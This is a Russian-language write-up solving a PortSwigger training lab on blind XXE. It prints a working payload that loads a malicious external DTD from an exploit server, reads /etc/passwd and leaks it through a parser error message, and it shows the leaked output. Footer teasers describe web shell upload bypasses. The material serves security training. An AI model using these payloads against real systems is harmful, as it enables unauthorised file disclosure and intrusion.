На странице
Blind XXE: получение данных через сообщения об ошибках
Лаборатория
Exploiting blind XXE to retrieve data via error messages · Practitioner
Решение
Дано
This lab has a "Check stock" feature that parses XML input but does not display the result.
To solve the lab, use an external DTD to trigger an error message that displays the contents of the /etc/passwd file.
The lab contains a link to an exploit server on a different domain where you can host your malicious DTD.
Анализ
Роут для проверки остатков товара принимает XML. Нам нужно разместить на эксплоит-сервере DTD с нагрузкой, которая умышленно вызывает ошибку при открытии файла. В имя файла дополнительно конкатенируется содержимое /etc/passwd — в результате сервер выведет ошибку с этим именем файла, в котором и будет нужное нам содержимое.
Атака
Тут всё не сложно, после предыдущей лабы.
Нагрузка для роута — чтобы заставить обработать наш внешний DTD:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"https://exploit-0ab1001a03e21303800ef7ff01a5002d.exploit-server.net/exploit.dtd"> %xxe;]>
На эксплоит-сервере настроим Content-Type и добавим такой код:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
Отправим запрос:
"XML parser exited with error: java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
Лаба решена!
Ещё в этой категории
Web Shell Upload через обход блек-листа расширений (PortSwigger Lab)
.php в блек-листе, но .htaccess заливается без вопросов — подсовываем свой конфиг Apache и заставляем сервер исполнять shell.bug как PHP.
Web Shell Upload через обфускацию расширения (PortSwigger Lab)
Блек-лист расширений не пускает .php, двойное расширение shell.php.jpg отдаётся как картинка — null-byte shell.php%00.jpg обходит обе проверки.
Remote Code Execution через загрузку web shell (PortSwigger Lab)
Загрузка аватарки без валидации — заливаем PHP web shell и читаем /home/carlos/secret.